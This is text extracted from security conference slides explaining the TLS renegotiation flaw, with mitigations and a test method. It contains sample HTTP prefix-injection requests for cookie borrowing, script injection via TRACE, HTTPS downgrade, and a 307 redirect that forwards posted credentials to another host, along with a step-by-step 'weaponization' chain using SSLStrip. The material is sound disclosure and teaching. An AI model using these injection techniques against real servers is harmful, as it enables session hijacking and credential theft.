TLS Renegotiation: Explanation & Exploitation

advertisement
TLS Renegotiation:
Explanation & Exploitation
Mikhail Davidov
Leviathan Security Group
Flavors of Renegotiation
Client-Initiated
– Initially meant for reseeding of cryptographic systems
in case of entropy loss.
– Rare, but used. (TOR)
– Was enabled by default in most implementations.
• Except IIS which didn’t implement part of the specification.
Server-Initiated
– Supported by both IIS & Apache
– Used for sites with client certificate authentication.
Attacks against
Client-Initiated Renegotiation
Basic TLS Handshake
CLIENT
SERVER
Renegotiation
Initial Handshake
 Something Happens
Renegotiation
MITM
The Attack
1) MITM Intercept initial ClientHello &
holds it.
2) MITM Connects normally to the
target & transmits evil bits.
EVIL cryptotext
3) MITM Replays the initial ClientHello
from victim.
4) Client just senses a little bit of lag and
continues to connect to the server.
5) Client sends its nice bits.
6) Server assembles message and sees
evil bits followed by nice bits as
though they came from the Client.
Why HTTP is Perfect
GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Why HTTP is Perfect
X-CommentOut: GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Why HTTP is Perfect
GET /Evil.html HTTP/1.1
X-CommentOut: GET / HTTP/1.1
Host: yourbank.com
Connection: Keep-Alive
….
X-SomeProtocolExtension: Anything
\r\n
\r\n
Attacks!
• Red = Evil Bits
• Black = Nice bits
• Green = Response
Not RESTful?
Cookie borrowing!
GET /twoot?msg=omglol HTTP/1.1
X-Anything: GET / HTTP/1.1
Site: www.twooter.com
Cookie: leetsession=12387131731837183121
HTTP/1.1 200 OK
…..
TRACE enabled?
Code Execution!
TRACE / HTTP/1.1
X-Anything: <script src=“…”/>GET / HTTP/1.1
Site: www.yourbank.com
HTTP/1.1 200 OK
Connection: close
Content-Length: xxxx
TRACE / HTTP/1.1
X-Anything: <script src=“…”/>GET / HTTP/1.1
Site: www.yourbank.com
Found 302 to HTTP?
Downgrade Channel!
GET /Some302Resource HTTP/1.1
X‐Ignore: GET / HTTP/1.1
Host: yourbank.com
302 OK HTTP/1.1
Location: http://www.somewhereelse.com/
(Perform traditional MITM attack / SSLStrip)
Found 302 to HTTP on a VHost?
Downgrade Channel… Again!
GET /Some302Resource HTTP/1.1
Host: www.virtualhost2.com
X‐Ignore: GET /clientsoriginalrequest HTTP/1.1
Host: yourbank.com
302 OK HTTP/1.1
Location: http://www.somewhereelse.com/
(Perform traditional MITM attack / SSLStrip)
Found 307 to HTTP?
Steal POSTed Data!
POST /Some307Resource HTTP/1.1
X‐Ignore: POST /ProcessLogin HTTP/1.1
Host: Bank.com
Content‐Length: 100
username=joebanker&password=secretpassw0rd
307 OK HTTP/1.1
Location: http://www.bobsblog.com/PostComment
POST /PostComment HTTP/1.1
Host: bobsblog.com
Content‐Length: 100
username=joebanker&password=secretpassw0rd
\r\n\r\n
 HEY! HTTP Cleartext on
new socket!
Weaponization
1. Get MITM
2. Hold on to the ClientHello
3. Spider hosts for 302s -> HTTP and repeat for VHosts (
bing.com/search?q=ip:xxx.xxx.xxx.xxx to get domains)
4. Perform 302 attack to downgrade to HTTP.
5. Perform SSL Strip on original domain
– This bug removes the sslstrip limitation of user initially
going to http://bank.com instead of httpS://bank.com
Attacks against
Server-Initiated Renegotiation
C
Ideal Secure
Scenario
S
Server asks for certificate immediately!
 Client provides certificate during negotiation.
Everything is OK
& not vulnerable!
The Problem:
The Real World
• Most web servers are multi-homed:
– /index.html  anyone can access.
– /secure/index.html  requires client-cert.
• Or mis-configured to not ask for a client
certificate immediately. (Default on IIS)
Typical Scenario
Normal negotiation as seen before.
 Client request a “secure” resource.
 Server initiates renegotiation.
 Server asks for the client certificate.
 Client provides its certificate.
 Server processes the request & responds.
The Attack
MITM Intercept initial ClientHello
& performs its own negotiation with
the server.
 MITM transmits evil bits.
Server holds on to evil request &
initiates renegotiation. MITM Replays
the initial ClientHello from victim.
 Server asks for the client cert.
 Client happily provides the cert.
 Server processes the queued
request.
Mitigations
• Upgrade! Its fixed! (rfc5746)
– http://tinyurl.com/sslpatchedlist
– OpenSSL 0.9.8m+
– MS10-049
• Disable client-initiated renegotiation
altogether. You don’t need it. (Really)
• If using client-certs make sure the root is
protected & server asks for the certificate
immediately.
Test it yourself!
(client-initiated renegotiation)
• Windows tool & whitepaper at:
– http://leviathansecurity.com/research/
• If you have openssl prior to 0.9.8m:
– openssl s_client –host www.yoursite.com –port
443
– Type capitol “R” and hit return.
• If you see it successfully renegotiate the server does
allow insecure renegotiation. Check to make sure you
are patched and disable insecure renegotiation if you
can.
Questions?
• @sirus on Twitter
• mikhail.davidov@leviathansecurity.com
• http://www.phonefactor.com/sslgap
• http://tinyurl.com/sslpatchedlist
• http://leviathansecurity.com/research/
• Thanks to Steve Dispensa, Marsh Ray, & Nasko Oskov
Image credits:
http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html
https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf
Download